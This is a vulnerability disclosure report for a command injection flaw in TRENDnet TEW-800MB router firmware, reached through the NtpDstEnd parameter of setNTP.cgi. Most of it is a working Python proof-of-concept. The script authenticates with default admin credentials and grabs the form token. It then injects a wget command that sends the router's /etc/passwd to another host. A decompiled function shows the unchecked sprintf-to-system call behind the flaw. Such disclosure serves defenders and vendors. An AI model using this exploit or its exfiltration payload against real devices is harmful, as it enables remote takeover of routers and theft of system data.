CVE Report - Command Injection Vulnerability in Trendnet fw_tew800mb(v1.0.1.0) Routers

Vulnerability Title

Command Injection Vulnerability in fw_tew800mb(v1.0.1.0) Routers

Vulnerability Description

TRENDnet fw_tew800mb devices have an OS command injection vulnerability in the sub_33A0C,which allows remote attackers to execute arbitrary commands via parameter "NtpDstEnd" passed to the binary through a POST request.

POC

```
#coding=gbk
import requests
import base64
import re

if __name__ == '__main__':
    print('start !!! ')

    target = "192.168.10.110"
    username = "admin"
    password = "admin"
    cmd = "$(wget http://192.168.10.109:7777?$(cat /etc/passwd))"
    auth = username + ":" + password
    hash = base64.b64encode(auth.encode('utf-8')).decode('utf-8')
    s = requests.Session()

    headers = {
        'User-Agent': "Mozilla/5.0 (X11; Ubuntu; Linux x86_64;
rv:109.0) Gecko/20100101 Firefox/113.0",
        'Accept':
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,*/*;q=0.8",
        'Accept-Language': "en-US,en;q=0.5",
        'Accept-Encoding': "gzip, deflate, br",
        'Authorization': f'Basic {hash}',
```

```
        'Connection': "close",

        'Upgrade-Insecure-Requests': "1"
    }
    response = s.request("GET",
f'http://{target}/wizard/wizard.asp', headers=headers)

    data = response.text

    token_pattern = r'name="token" value="([^"]+)"'
    token_match = re.search(token_pattern, data)
    if token_match:
        token_value = token_match.group(1)
    else:
        token_value = "Token not found"
        print(token_match)
        exit


    burp0_url = "http://" + target + "/setNTP.cgi"
    burp0_headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64;
rv:109.0) Gecko/20100101 Firefox/113.0',
        'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate, br',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Authorization': f'Basic {hash}',
        'Connection': 'close',
        'Cookie': 'expandable=6c',
        'Upgrade-Insecure-Requests': '1'
    }

    # Form data to be sent in POST request
    burp0_data = {
        'token': f'{token_value}',
        'page':'a',
        'timeTag':'b',
        'NtpDstEnable':'1',
        'NtpDstEnd': {cmd},
    }
    s.post(burp0_url, headers=burp0_headers, data=burp0_data)
    print("end !!! ")
```

Cause Analysis

In this function, the data passed in by the request parameter in the data packet is obtained through the nvram_get function. When the parameter NtpDstEnd we passed in is parsed, the function directly concatenates the parameter value to the %s in the string dst %s %s %s & by calling the sprintf function. After that, no validity check is performed on the parameter value, and then the system function is directly called to execute the command, thus resulting in a command injection vulnerability.

```
1  int sub_33A0C()
2  {
3    const char *v0; // r5
4    const char *v1; // r7
5    const char *v2; // r6
6    const char *v3; // r0
7    char v5[152]; // [sp+8h] [bp-98h] BYREF
8
9    nvram_get((int)"NtpDstEnable");
10   v0 = (const char *)nvram_get((int)"NtpDstOffset");
11   v1 = (const char *)nvram_get((int)"NtpDstStart");
12   v2 = (const char *)nvram_get((int)"NtpDstEnd");
13   memset(v5, 0, 0x80u);
14   sprintf(v5, "dst %s %s %s &", v1, v2, v0);
15   v3 = (const char *)nvram_get((int)"NtpDstEnable");
16   if ( !v3 || strcmp(v3, "1") )
17     return system("killall -q dst");
18   system("killall -q dst");
19   return system(v5);
20 }
```